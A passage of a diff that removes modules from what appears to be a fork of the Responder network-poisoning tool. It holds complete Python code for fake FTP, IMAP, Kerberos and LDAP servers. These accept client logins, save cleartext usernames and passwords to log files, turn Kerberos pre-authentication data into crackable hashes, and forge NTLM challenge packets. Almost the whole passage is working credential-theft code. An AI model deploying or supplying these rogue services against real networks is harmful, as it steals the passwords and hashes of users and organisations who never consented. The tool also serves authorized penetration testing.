("Terminator", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
#FTP server class.
|
||||
class FTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
log.info('{} FTP User: {}'.format(self.client_address[0], User))
|
||||
t = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
t = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
else :
|
||||
t = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,42 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
#IMAP4 Greating class
|
||||
class IMAPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* OK IMAP4 service is ready."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapabilityEnd(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tag", ""),
|
||||
("Message", " OK CAPABILITY completed."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
|
@ -1,53 +0,0 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from IMAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("IMAPserver", formatter)
|
||||
|
||||
class IMAPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
|
||||
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(143, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#ESMTP server class.
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreating()))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:15] == "CAPABILITY":
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(str(IMAPCapability()))
|
||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Credentials, Credentials)
|
||||
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
||||
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
self.request.send(str(ditchthisconnection()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,157 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("KERBserver", formatter)
|
||||
|
||||
class KERBserver():
|
||||
|
||||
def serve_thread_udp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
log.debug("Error starting UDP server on port 88: {}:".format(e))
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
log.debug("Error starting TCP server on port 88: {}:".format(e))
|
||||
|
||||
def start(self):
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
if KerbHash:
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
if KerbHash:
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
|
@ -1,224 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
class LDAPSearchDefaultPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLen", "\x0c"),
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x0f"),
|
||||
("OpHeadASNID", "\x65"),
|
||||
("OpHeadASNIDLen", "\x07"),
|
||||
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedCapabilitiesPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x15"),#21
|
||||
("SearchAttribASN2Str", "supportedCapabilities"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x16"),#22
|
||||
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x17"),#23
|
||||
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x17"),#23
|
||||
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedMechanismsPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x17"),#23
|
||||
("SearchAttribASN2Str", "supportedSASLMechanisms"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x06"),#6
|
||||
("SearchAttrib1ASNStr", "GSSAPI"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x0a"),#10
|
||||
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x08"),#8
|
||||
("SearchAttrib3ASNStr", "EXTERNAL"),
|
||||
("SearchAttrib4ASNID", "\x04"),
|
||||
("SearchAttrib4ASNLen", "\x0a"),#10
|
||||
("SearchAttrib4ASNStr", "DIGEST-MD5"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPNTLMChallenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x61"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
|
||||
("Status", "\x0A"),
|
||||
("StatusASNLen", "\x01"),
|
||||
("StatusASNStr", "\x0e"), #In Progress.
|
||||
("MatchedDN", "\x04\x00"), #Null
|
||||
("ErrorMessage", "\x04\x00"), #Null
|
||||
("SequenceHeader", "\x87"),
|
||||
("SequenceHeaderLenOfLen", "\x81"),
|
||||
("SequenceHeaderLen", "\x82"), #188
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
###### LDAP Packet Len
|
||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
|
||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
##### LDAP Len Calculation:
|
||||
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
|
||||
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
|
||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
|
@ -1,121 +0,0 @@
|
|||
import struct
|
||||
import logging
|
||||
import threading
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from LDAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LDAPserver", formatter)
|
||||
|
||||
class LDAPserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
|
||||
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(389, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
